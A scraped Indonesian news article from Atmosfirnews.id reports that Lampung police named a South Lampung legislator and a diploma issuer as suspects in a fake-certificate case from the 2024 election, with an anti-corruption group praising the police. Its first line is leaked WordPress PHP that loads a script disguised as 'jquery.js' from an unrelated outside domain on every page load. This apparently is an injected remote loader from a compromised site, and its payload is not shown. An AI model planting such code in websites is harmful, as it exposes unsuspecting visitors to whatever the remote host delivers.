add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Polda Lampung Tetapkan Tersangka Ijazah Palsu, Gepak Puji Kinerja Dan Integritas Polda Lampung - Atmosfirnews.id

Polda Lampung Tetapkan Tersangka Ijazah Palsu, Gepak Puji Kinerja Dan Integritas Polda Lampung

- Jurnalis

Senin, 16 Desember 2024 - 22:09 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung – Atmosfirnews.id

Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Lampung resmi menetapkan dua tersangka dalam kasus dugaan penggunaan ijazah palsu yang mencuat dalam proses pemilihan legislatif (Pileg) 2024. Kedua tersangka tersebut adalah S (50), anggota DPRD Lampung Selatan, dan AS, penerbit ijazah palsu.

Kabid Humas Polda Lampung, Kombes Pol Umi Fadilah Astutik, mengonfirmasi penetapan tersangka ini. “Hasil gelar perkara yang dilakukan oleh Unit IV Subdit IV Tipidter Ditreskrimsus Polda Lampung menyimpulkan bahwa terlapor S sebagai pengguna dan AS sebagai penerbit ijazah palsu dapat ditetapkan sebagai tersangka,” ujar Umi, Senin (16/12/2024).

Umi menjelaskan, keduanya melanggar tindak pidana sistem pendidikan nasional. Mereka dijerat Pasal 69 Ayat (1) dan Ayat (2) Undang-Undang RI Nomor 20 Tahun 2003 tentang Sistem Pendidikan Nasional juncto Pasal 55 KUHP. “S terbukti menggunakan ijazah yang diterbitkan oleh PKBM Bougenvil tanpa mengikuti proses yang diatur dalam peraturan yang berlaku,” tambahnya.

Baca Juga :  Sidak 5 Pasar Di Bandar Lampung, Polda Lampung Pastikan Stok Ketersediaan Dan Harga Stabil

Lebih lanjut, Umi menyebutkan bahwa ijazah yang digunakan oleh S mencantumkan data yang bukan miliknya, termasuk Nomor Induk Siswa Nasional (NISN). Ijazah tersebut kemudian digunakan S untuk memenuhi persyaratan pencalonannya sebagai anggota DPRD Lampung Selatan, khususnya di daerah pemilihan (dapil) 6 yang meliputi Kecamatan Tanjung Bintang, Tanjung Sari, dan Merbau Mataram.

“Pelanggaran ini dapat diketahui melalui pencocokan data dalam ijazah tersebut yang ternyata merupakan milik orang lain,” jelasnya. Umi menegaskan bahwa setelah penetapan ini, penyidik akan segera memeriksa kedua tersangka secara intensif sebelum mengirimkan berkas perkara tahap satu ke Kejaksaan Tinggi (Kejati) Lampung.

Ketua Umum LSM Gerakan Pembangunan Anti Korupsi (GEPAK), Wahyudi, yang melaporkan kasus ini, mengapresiasi langkah Polda Lampung. “Kami berterima kasih kepada pihak kepolisian yang telah serius mengungkap kasus ini. Ini menunjukkan komitmen untuk menjaga integritas sistem pendidikan dan demokrasi di Indonesia,” ujarnya.

Baca Juga :  PENKUM KEJATI LAMPUNG AJAK PELAJAR SMAN 15 BANDAR LAMPUNG BERSAMA CEGAH KENAKALAN REMAJA DENGAN KENALI HUKUM DAN JAUHI HUKUMAN

Wahyudi juga mengingatkan pentingnya pengawasan masyarakat terhadap proses pencalonan legislatif agar kasus serupa tidak terulang. “Masyarakat harus ikut berperan aktif dalam mengawal transparansi dan kejujuran dalam pemilu, termasuk dalam persyaratan administrasi calon,” tegasnya.

Kasus ini menjadi sorotan publik karena melibatkan penyalahgunaan sistem pendidikan nasional untuk kepentingan pribadi. Dengan terungkapnya kasus ini, masyarakat berharap adanya efek jera bagi para pelaku dan peningkatan pengawasan terhadap pelaksanaan pemilu yang bersih dan adil.

Tim penyidik Ditreskrimsus Polda Lampung menegaskan akan terus mendalami peran masing-masing tersangka dalam kasus ini. Pemeriksaan lanjutan akan dilakukan terhadap S dan AS guna melengkapi berkas perkara.

Kasus ini menunjukkan pentingnya integritas dalam pelaksanaan pemilu serta perlunya penegakan hukum yang tegas terhadap segala bentuk pelanggaran, termasuk penyalahgunaan ijazah palsu. Publik menunggu kelanjutan kasus ini dengan harapan bahwa proses hukum dilakukan secara adil dan transparan.

Penulis : Redaksi

Berita Terkait

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Mantan Bendahara KONI Lamteng Ungkap Dugaan Peran Mantan Bupati MA dalam Kasus Dana Hibah
Dari Pringsewu, Pengelola Perpustakaan Sekolah Lampung Berikrar Majukan Literasi
Anggaran Perpusnas Anjlok 52 Persen, Pringsewu Justru Perkuat Perpustakaan Sekolah
Cabdin Wilayah II Lampung Dorong Perpustakaan Sekolah Jadi Pusat Literasi
Berita ini 125 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Jumat, 21 Agustus 2026 - 11:06 WIB

Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung

Jumat, 21 Agustus 2026 - 09:42 WIB

Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah

Kamis, 20 Agustus 2026 - 11:16 WIB

Mantan Bendahara KONI Lamteng Ungkap Dugaan Peran Mantan Bupati MA dalam Kasus Dana Hibah

Berita Terbaru